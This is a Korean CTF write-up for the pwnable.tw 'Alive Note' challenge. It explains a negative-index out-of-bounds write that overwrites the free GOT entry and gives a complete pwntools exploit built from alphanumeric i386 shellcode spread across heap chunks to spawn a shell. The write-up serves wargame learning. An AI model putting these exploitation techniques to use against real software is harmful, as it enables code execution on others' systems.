[Pwnable.tw] Alive Note(Write-up)
이거 풀면 300대 진입 가능. 이번 방학 안에 기존 목표인 100위 진입을 해야 한다ㅠㅠ
노트래서 또 힙인가 싶었는데 NX없는것도 그렇고, shellcode 문제일지도. 환경 검색해보니 2.23같음.
메뉴 형식.
1. add_note함수
read_int로 정수 입력받는데 10넘으면 oob라고 함. 근데 signed라 아래쪽 검사는 없음. 별일없으면 s에 name 8글자 입력받음.
check함수는 이렇게 생겼는데 puts경고에서도 알 수 있듯이 걍 alphanumeric해야 한다는 뜻.
그리고 note는 전역변수인데 그거 + v1(idx)에 s를 malloc한 주소를 저장하고 끝.
2. show_note함수
마찬가지로 idx입력받고, 아래쪽 검사는 없음. note기준으로 idx세서 거기 있는거를 주소로 %s출력해줌.
3. del_note함수
아까 strdup했던거 해제하고 전역 포인터까지 초기화시킴.
4. 는 걍 exit(0);
흠 일단 알파뉴머릭 쉘코드 짜는 문제는 맞는듯. 쉘코드는 간단히 짤 수 있고, 뭣하면 32비트 용으로 저번에 만들어 둔 것도 있다. 그럼 다음 문제만 해결하면 됨.
1. 8바이트씩 쪼개지는데 이걸 어떻게 한데 모으지
2. 거기로 어떻게 eip를 옮기지
일단 2번은 partial relro니까 아래쪽 oob일으켜서 malloc주소로 got overwrite해서 그 함수 실행시키면 됨.
그럼 1번이 가장 큰 문젠데.. 2번에서 malloc주소로 got overwrite를 하려면 쉘코드가 쭉 이어져 있어야 함. 헤더가 없어야 한다는건데 이게 힙에서는 안될거같고, bss에 fake만들면 될수도 있는데 이게 될런지는 일단 해봐야 할듯.
음 일단 death note때 만든 쉘코드 출력해보니 0x29임. 아 근데 그건 alphanumeric아니고 printable이었음.
네...다시 짜야하네요...
이제 쉘코드는 금방금방 짤수 있게 된듯. pop ebx가 alphanumeric이 아니라서 popad쓴다고 길이가 꽤 길어져버리긴 함. 0x40나왔는데 0x40이 또 alphanumeric이 아니라서 앞에 push eax붙여줘서 0x41됨. 무려 9번에 걸쳐 분할해야 하는 길이...
야무지게 나눠줌.
쉘코드 준비됐으니 이제 어떻게 할지 보러가자.
32비트에서는 최소 청크 크기가 0x10이다. 그래서 위와 같이 할당됨. 저걸 어떻게 이어붙이지..
아무리 생각해도 방법이 없다. 그럼 진짜 쉘코드 사이사이에 jmp끼워넣는것밖에 없나..?
일단 표시한 부분이 free임. idx로 치면 -27넣어주면 됨.
...
일단 성공은 했음.
이번 쉘코딩은 여러모로 좀 레전드였다. 일단 익스코드부터 첨부한 뒤 설명해보겠다.
from pwn import *
def add(idx, name):
p.sendafter("Your choice :", "1")
p.sendafter("Index :", str(idx))
p.sendafter("Name :", str(name))
def show(idx):
p.sendafter("Your choice :", "2")
p.sendafter("Index :", str(idx))
def delete(idx):
p.sendafter("Your choice :", "3")
p.sendafter("Index :", str(idx))
context.arch = 'i386'
#p = process("./alive_note")
p = remote("chall.pwnable.tw", 10300)
sc1 = asm(
'''
push eax
push eax
pop edx
push ecx
pop eax
dec eax
'''
)
add(-27, sc1.decode() + 'u8')
for i in range(3):
add(0, "A" * 0x8)
sc2 = asm(
'''
xor ax, 0x4773
dec esi
dec esi
'''
)
add(0, sc2.decode() + 'u8')
for i in range(3):
add(0, "A" * 0x8)
sc3 = asm(
'''
xor ax, 0x3841
dec esi
dec esi
'''
)
add(0, sc3.decode() + 'u8')
for i in range(3):
add(0, "A" * 0x8)
sc4 = asm(
'''
xor [edx+0x45], ax
push ecx
dec esi
'''
)
add(0, sc4.decode() + 'u8')
for i in range(3):
add(0, "A" * 0x8)
sc5 = asm(
'''
push 0x68734141
dec esi
'''
)
add(0, sc5.decode() + 'u8')
for i in range(3):
add(0, "A" * 0x8)
sc6 = asm(
'''
pop eax
xor ax, 0x6e6e
dec esi
'''
)
add(0, sc6.decode() + 'u8')
for i in range(3):
add(0, "A" * 0x8)
sc7 = asm(
'''
push eax
push 0x6e696230
'''
)
add(0, sc7.decode() + 'u8')
for i in range(3):
add(0, "A" * 0x8)
sc8 = asm(
'''
pop eax
dec eax
dec esi
dec esi
dec esi
dec esi
'''
)
add(0, sc8.decode() + 'u8')
for i in range(3):
add(0, "A" * 0x8)
sc9 = asm(
'''
push eax
push esp
pop eax
push edx
push ecx
push ebx
'''
)
add(0, sc9.decode() + 'u8')
for i in range(3):
add(0, "A" * 0x8)
sc10 = asm(
'''
push eax
push esp
push ebp
push esi
push edi
popad
'''
)
add(0, sc10.decode() + 'u8')
for i in range(3):
add(0, "A" * 0x8)
sc11 = asm(
'''
push 0x77777771
pop eax
'''
)
add(1, sc11.decode() + 'u8')
for i in range(3):
add(0, "A" * 0x8)
sc12 = asm(
'''
xor eax, 0x7777777a
'''
)
#add(0, sc12 + b'\x00\x00')
p.sendafter("Your choice :", "1")
p.sendafter("Index :", str(0))
p.sendafter("Name :", sc12 + b"\x00\x00")
pause()
delete(1)
p.interactive()
일단 첫 번째 문제는 쉘코드들을 하나로 엮는 거였다. 다양한 방면으로 생각해봤는데 물리적으로 쟤들을 근접시키는건 불가능. 그러니까 쉘코드 하나하나마다 jmp를 써줘야 한다는 것이다.
여기서 또 의문이 들었던 게 jmp [jmp거리] 이렇게 하면 jmp옵코드가 시작되는 부분부터 세는 걸까, 아니면 끝나는 부분부터 세는 걸까? -> 시작 부분부터 세는 거였다. 그래서 alnum범위에 들도록 "u8" == jmp 0x3a 를 써서 2바이트 채우고 0x38뛰어서 strdup로 만들어진 청크 3개를 뛰어넘도록 했다. 그래서 중간에 for i in range(3)으로 계속 쓸데없는 청크를 할당해준 것임.. 그리고 u8쓰려면 계속 8을 꽉 채워야해서 중간에 dec esi같은 쓸모없는 옵코드들을 많이 넣었다.
그리고 문제는 역시 0x80cd였는데, 맨 끝에 예쁘게 딱 맞춰서 0x80cd를 넣어야 했다. Death Note에서 했듯이 free의 got를 덮을거고, 그러면 eax에 free대상이되는 청크 주소가 들어가게 된다. 근데 이게 더미청크를 하도 많이 쌓으니까 0x80cd넣어야 할 부분이랑 쉘코드 시작 부분이랑 차이가 너무 나서 eax + bytes에서 bytes를 alnum범위 내에 못 넣게 됨.
근데 생각해보면 eax가 꼭 쉘코드 시작 부분이어야 할까? free got를 덮어 쉘을 따는건 그 got가 쉘코드 시작 주소라서 그럼. 인자로 들어가는건 어느 청크여도 상관이 없다. 따라서 거의 마지막 직전 청크인 sc11 만 idx1에 넣은 다음, free(1) 해줌. (나머지는 모두 idx 0에 덮어씌웠음) 그럼 eax가 0x80cd부분과 0x45 == 'E' 차이가 나게 됨! 기존 계획대로 무난히 가능해짐.
그리고 심호흡하고 코드 실행시켰는데 쉘이 안 따짐. gdb로 실행시키면서 따라가보니까 /bin//sh여야 하는데 /b{n//sh라고 되어었음.. xor연산만 살짝 고쳐주니 바로 성공:)
300대 진입..은 아니지만 0등이 아니라 1등부터 시작하는 관계로 4페이지에 진입하게 되었다:)